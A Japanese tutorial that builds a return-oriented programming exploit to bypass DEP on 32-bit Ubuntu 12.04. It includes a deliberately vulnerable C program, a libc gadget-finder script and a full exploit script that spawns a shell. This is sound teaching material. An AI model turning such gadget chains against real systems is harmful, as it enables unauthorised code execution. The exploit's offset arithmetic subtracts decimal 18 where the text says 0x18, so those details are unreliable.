Return-oriented Programming (ROP) でDEPを回避してみる
Return-to-libcによるDEP回避では、libc内の関数を呼び出すことでシェル起動を行った。 そして連続して関数を呼び出すために、pop命令+ret命令の先頭にジャンプしてスタックを操作するということを行った。 この手法を発展させ、ret命令で終わる命令列の先頭へのジャンプを繰り返すことで、任意の命令列を実行させることができる。 これはReturn-oriented Programming (ROP) と呼ばれる。 ここでは、実際にROPを使ったシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。
/* bof.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[300] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
ASLR、SSPを無効にし、DEPのみを有効にした状態でコンパイルする。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c
objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。
$ objdump -x a.out Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x0000068c memsz 0x0000068c flags r-x LOAD off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12 filesz 0x00000108 memsz 0x00000110 flags rw- DYNAMIC off 0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2 filesz 0x000000c8 memsz 0x000000c8 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x0000058c vaddr 0x0804858c paddr 0x0804858c align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0 filesz 0x000000ec memsz 0x000000ec flags r--
また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。
$ ldd a.out linux-gate.so.1 => (0xb7fff000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4d000) /lib/ld-linux.so.2 (0x80000000)
ROP Gadgetを探す
ROPでは、ライブラリの中からret命令 (0xc3) で終わる小さな命令列を探し、それらを組み合わせて処理を実行する。 このret命令で終わる命令列のことはGadgetと呼ばれる。 Gadgetは、0xc3の見つかった位置から数バイト戻って逆アセンブルし、ちょうどret命令で終わるような命令列が現れないかを調べることで発見できる。 実際にPythonでコードを書いてみると次のようになる。
# list_gadgets.py import sys from subprocess import Popen, PIPE fpath = sys.argv[1] with open(fpath, 'rb') as f: blob = f.read() try: i = -1 while True: i = blob.index('\xc3', i+1) for j in range(4): p1 = Popen(['objdump', '-M', 'intel', '-D', '-b', 'binary', '-m', 'i386', "--start-address=%d" % (i-j-1), "--stop-address=%d" % (i+1), fpath], stdout=PIPE) p2 = Popen(['grep', '^ '], stdin=p1.stdout, stdout=PIPE) stdout, stderr = p2.communicate() if not stdout or '(bad)' in stdout or '<internal disassembler error>' in stdout: continue lines = stdout.splitlines() if lines[-1].endswith('\tret '): print lines[0].split('\t',1)[0] + '\t', print '; \t'.join(line.split('\t')[2] for line in lines[:-1]) except ValueError: pass
このスクリプトは第一引数に共有ライブラリファイルのパスを取り、0xc3のある位置から最大4バイトまで戻りながらGadgetを探す。 実際にlibcに対して実行すると次のようになる。
$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt $ head gadgets.txt 78a: dec edi 877: or al,BYTE PTR [ecx] 8ee: dec esp cf2: add BYTE PTR [eax],al 106e: add BYTE PTR [eax],al 122e: add BYTE PTR [eax],al 13ea: add BYTE PTR [eax],al 1736: add BYTE PTR [eax],al 1735: pop es; add BYTE PTR [eax],al 1a32: pop es
ここで、命令列の最後に来るret命令は省略されている。
ROPで用いられる重要な操作
ROPにおいて、レジスタに特定の即値を代入するようなGadgetは基本的には存在しない。 しかし、pop命令を使うことでスタックに置いた値をレジスタに代入することができる。 たとえば、スタックに次のようにアドレスとデータを並べておくことで、ecxに0xccccccccを代入することができる。
0xXXXXXXXX -> pop ecx; ret 0xcccccccc
popが二つ連続したGadgetがある場合は、一度に二つのレジスタに値を代入できる。 たとえば次の場合、ecxに0xcccccccc、eaxに0xddddddddを代入できる。
0xXXXXXXXX -> pop ecx; pop eax; ret 0xcccccccc 0xdddddddd
さらに、mov [ecx], eax; ret
のようなGadgetを使うことで、ecxにセットしたアドレスにeaxの値を書き込むことができる。
書き込む先のアドレスとしては、たとえばdataセグメントを使うことができる。
dataセグメントのアドレスは、objdumpコマンドまたはreadelfコマンドでセクションヘッダを見ることにより調べることができる。
$ objdump -x a.out Sections: Idx Name Size VMA LMA File off Algn 23 .data 00000008 0804a014 0804a014 00001014 2**2 CONTENTS, ALLOC, LOAD, DATA
$ readelf -a a.out Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [24] .data PROGBITS 0804a014 001014 000008 00 WA 0 0 4 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
dataセグメントは0x0804a014から8バイトであり、書き込み可能であることがわかる。
ROPを実行してみる
実際にGadgetを組み合わせて、execve(2)でシェルを起動するエクスプロイトコードを書いてみる。
必要となる命令列は、シェルコードを作る場合と同じように調べればよい。
なお、mov DWORD PTR [edx+0x18],eax
を使う際は、edxには実際に書き込みたいアドレスから0x18引いたものをセットしておく。
# exploit.py import sys import struct from subprocess import Popen bufsize = int(sys.argv[1]) libc_base = int(sys.argv[2], 16) data_addr = int(sys.argv[3], 16) """ f3ad0: pop ecx; pop eax 7419a: mov DWORD PTR [ecx],eax 1a9e: pop edx 32eb0: xor eax,eax 2dfb2: mov DWORD PTR [edx+0x18],eax 1930e: pop ebx 83d35: xor edx,edx; mov eax,edx 8ac7e: lea eax,[edx+0xb] $ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "int " | head 2e285: cd 80 int 0x80 """ buf = 'A' * bufsize buf += 'AAAA' * 3 # write "/bin//sh" to data_addr buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr) buf += '/bin' buf += struct.pack('<I', libc_base + 0x7419a) # mov [ecx], eax buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 4) buf += '//sh' buf += struct.pack('<I', libc_base + 0x7419a) # mov [ecx], eax buf += struct.pack('<I', libc_base + 0x1a9e) # pop edx buf += struct.pack('<I', data_addr + 8 - 18) buf += struct.pack('<I', libc_base + 0x32eb0) # xor eax, eax buf += struct.pack('<I', libc_base + 0x2dfb2) # mov [edx+18], eax # write {"/bin//sh", NULL} to data_addr+12 buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 12) buf += struct.pack('<I', data_addr) buf += struct.pack('<I', libc_base + 0x7419a) # mov [ecx], eax buf += struct.pack('<I', libc_base + 0x1a9e) # pop edx buf += struct.pack('<I', data_addr + 16 - 18) buf += struct.pack('<I', libc_base + 0x32eb0) # xor eax, eax buf += struct.pack('<I', libc_base + 0x2dfb2) # mov [edx+18], eax # set ecx = address of {"/bin//sh", NULL} buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 12) buf += 'AAAA' # set ebx = address of "/bin//sh" buf += struct.pack('<I', libc_base + 0x1930e) # pop ebx buf += struct.pack('<I', data_addr) # set eax=11 and edx=0 buf += struct.pack('<I', libc_base + 0x83d35) # xor edx, edx; mov eax, edx buf += struct.pack('<I', libc_base + 0x8ac7e) # lea eax, [edx+0xb] # perform system call buf += struct.pack('<I', libc_base + 0x2e285) # int 0x80 with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
このコードはバッファサイズ、libcのベースアドレス、データの書き込みに利用するアドレスを順に引数に取る。 gdbを使ってlibcのベースアドレスを調べてみる。
$ gdb a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048449 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048449 in main () (gdb) i proc map process 7841 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/a.out 0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/a.out 0xb7e2a000 0xb7e2b000 0x1000 0x0 0xb7e2b000 0xb7fcf000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fcf000 0xb7fd1000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd1000 0xb7fd2000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd2000 0xb7fd5000 0x3000 0x0 0xb7fdb000 0xb7fdd000 0x2000 0x0 0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso] 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] (gdb) q A debugging session is active. Inferior 1 [process 7841] will be killed. Quit anyway? (y or n) y
libcは0xb7e2b000にロードされていることがわかる。
また、データの書き込みにはdataセグメントのアドレスを利用することにする。 このアドレスはすでに調べたように0x0804a014である。
調べたアドレスを引数にセットし、エクスプロイトコードを実行してみる。
$ python exploit.py 300 0xb7e2b000 0x0804a014 buf = 0xbffff484 (snip) $
DEPが有効になっている状態で、シェルが立ち上がることを確認できた。
関連リンク
- The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) (CCS 2007)
- Return-Oriented Programming: Exploits Without Code Injection (Black Hat USA 2008)
- Return oriented programming (ROP FTW)
- An introduction to ROP
- ROPEME – ROP Exploit Made Easy : VNSECURITY / CLGT TEAM
- shell-storm | ROPgadget - Gadgets finder and auto-roper